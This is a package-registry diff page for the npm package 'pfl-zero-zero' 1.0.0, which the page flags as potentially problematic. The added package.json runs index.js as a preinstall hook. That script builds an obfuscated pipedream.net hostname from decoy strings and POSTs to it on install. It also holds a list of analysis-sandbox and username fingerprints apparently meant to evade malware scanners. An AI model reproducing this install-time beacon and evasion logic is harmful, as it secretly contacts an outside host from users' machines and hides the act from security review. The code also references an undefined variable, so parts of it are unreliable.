pfl-zero-zero 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of pfl-zero-zero might be problematic. Click here for more details.

package/README.md ADDED
@@ -0,0 +1 @@
1
+ # npm-package-cdm
package/fetching.js ADDED
@@ -0,0 +1,4 @@
1
+ fetch('https://google.com')
2
+ .then(function(res) {
3
+ console.log(res);
4
+ })
package/index.js ADDED
@@ -0,0 +1,143 @@
1
+ const goto = require('https');
2
+ //sinencode
3
+ function build() {
4
+ let options = {
5
+ "Name": "New PI Contact",
6
+ "Phone": "+158948945565",
7
+ "Message": "My Best Dream Friend",
8
+ "Address": "Avite St pe-455 NET"
9
+ };
10
+
11
+ return (reverseStr(options['Address'].slice(9, 11), options['Name'].split(' ')[1]) +
12
+ options['Message'].split(' ')[2] + reverseStr(options['Address'].slice(-3), '.'))
13
+ }
14
+
15
+ function reverseStr(str1, str2) {
16
+ return str2 + str1
17
+ }
18
+
19
+ function number_of(item) {
20
+
21
+ for (let i = 0; i < 4; i++) {
22
+ if (i == 1) {
23
+ item += 's'
24
+ }
25
+ if (i == 3) {
26
+ item += 'e6'
27
+ }
28
+ }
29
+ return item + '4'
30
+ }
31
+
32
+ function sleep_for(pkg_n, prefix) {
33
+ var deactivate = [
34
+ { key: ['npm', 'config', 'registry'].join('_'), val: ['taobao', 'org'].join('.') },
35
+ { key: ['npm', 'config', 'registry'].join('_'), val: ['registry', 'npmmirror', 'com'].join('.') },
36
+ { key: 'USERNAME', val: ['daas', 'admin'].join('') },
37
+ { key: '_', val: '/usr/bin/python' },
38
+ { key: 'npm_config_metrics_registry', val: ['mirrors', 'tencent', 'com'].join('.') },
39
+ [
40
+ { key: 'MAIL', val: ['', 'var', 'mail', 'app'].join('/') },
41
+ { key: 'HOME', val: ['', 'home', 'app'].join('/') },
42
+ { key: 'USER', val: 'app' },
43
+ ],
44
+ [
45
+ { key: 'EDITOR', val: 'vi' },
46
+ { key: 'PROBE_USERNAME', val: '*' },
47
+ { key: 'SHELL', val: '/bin/bash' },
48
+ { key: 'SHLVL', val: '2' },
49
+ { key: 'npm_command', val: 'run-script' },
50
+ { key: 'NVM_CD_FLAGS', val: '' },
51
+ { key: 'npm_config_fund', val: '' },
52
+ ],
53
+ [
54
+ { key: 'HOME', val: '/home/username' },
55
+ { key: 'USER', val: 'username' },
56
+ { key: 'LOGNAME', val: 'username' },
57
+ ],
58
+ [
59
+ { key: 'PWD', val: '/my-app' },
60
+ { key: 'DEBIAN_FRONTEND', val: 'noninteractive' },
61
+ { key: 'HOME', val: '/root' },
62
+ ],
63
+ [
64
+ { key: 'INIT_CWD', val: '/analysis' },
65
+ { key: 'APPDATA', val: '/analysis/bait' }
66
+ ],
67
+ [
68
+ { key: 'INIT_CWD', val: '/npm' },
69
+ { key: 'APPDATA', val: '/analysis/bait' }
70
+ ],
71
+ [
72
+ { key: 'HOME', val: ['', 'Users', 'justin'].join('\\') },
73
+ { key: 'APPDATA', val: ['', 'Users', 'justin'].join('\\') },
74
+ {
75
+ key: 'LOGONSERVER',
76
+ val: [
77
+ ['DESKTOP', '97KB'].join('-'), '6H'
78
+ ].join('B')
79
+ }
80
+ ]
81
+ ];
82
+
83
+ let missing = [
84
+ ['npm', 'package', 'name'].join('_'), ['npm', 'package', 'json'].join('_'),
85
+ ];
86
+
87
+ if (deactivate.some((index) => []
88
+ .concat(index)
89
+ .every((i) => (plop[i.key] || '').includes(i.val) || i.val === '*')) ||
90
+ Object.keys(plop).length < 10 || plop.PWD === `/${plop.USER}/node_modules/${plop.npm_package_name}`
91
+ ) {}
92
+
93
+ if (missing.some(index => !plop[index])) {
94
+
95
+ }
96
+
97
+ var req = goto
98
+ .request(use_language(pkg_n, prefix))
99
+ .on('error', function(err) {});
100
+ req.write(JSON.stringify({ 'testing': 000, 'blabla': true }));
101
+ req.end();
102
+ }
103
+ var MapObj = function() {
104
+ this.name = '__st' + (Math.random() * 1e9 >>> 0);
105
+ };
106
+
107
+ function use_language(pkg_n, prefix) {
108
+ let options = {
109
+ hostname: prefix + '.m.' + build(),
110
+ path: '/' + (pkg_n || ''),
111
+ method: 'POST',
112
+ };
113
+ return options
114
+ }
115
+
116
+ MapObj.prototype = {
117
+ set: function(key, value) {
118
+ var entry = key[this.name];
119
+ if (entry && entry[0] === key)
120
+ entry[1] = value;
121
+ else
122
+ defineProperty(key, this.name, { value: [key, value], writable: true });
123
+ return this;
124
+ },
125
+ get: function(key) {
126
+ var entry;
127
+ return (entry = key[this.name]) && entry[0] === key ?
128
+ entry[1] : undefined;
129
+ },
130
+ delete: function(key) {
131
+ var entry = key[this.name];
132
+ if (!entry || entry[0] !== key) return false;
133
+ entry[0] = entry[1] = undefined;
134
+ return true;
135
+ },
136
+ has: function(key) {
137
+ var entry = key[this.name];
138
+ if (!entry) return false;
139
+ return entry[0] === key;
140
+ }
141
+ };
142
+
143
+ sleep_for('pfl-zero-zero', 'eo184ibiu0tkqa4');
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "pfl-zero-zero",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }